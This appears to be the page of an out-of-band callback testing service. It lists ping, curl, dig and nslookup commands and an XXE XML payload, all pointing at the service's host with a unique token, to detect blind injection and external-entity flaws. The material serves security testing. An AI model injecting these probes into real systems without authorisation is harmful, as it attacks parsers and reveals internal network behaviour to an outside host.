$ ping -c1 -p 009eb7af7212155bd99ff6be0f2b2900 unhack.ca
 
$ curl http://unhack.ca/p/9eb7af7212155bd99ff6be0f2b29
 
$ dig 9eb7af7212155bd99ff6be0f2b29 @unhack.ca
 
$ dig 9eb7af7212155bd99ff6be0f2b29.ns.unhack.ca
 
C:\> nslookup 9eb7af7212155bd99ff6be0f2b29 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/9eb7af7212155bd99ff6be0f2b29">]>
    <foo>&xxe;</foo>
Waiting for ping...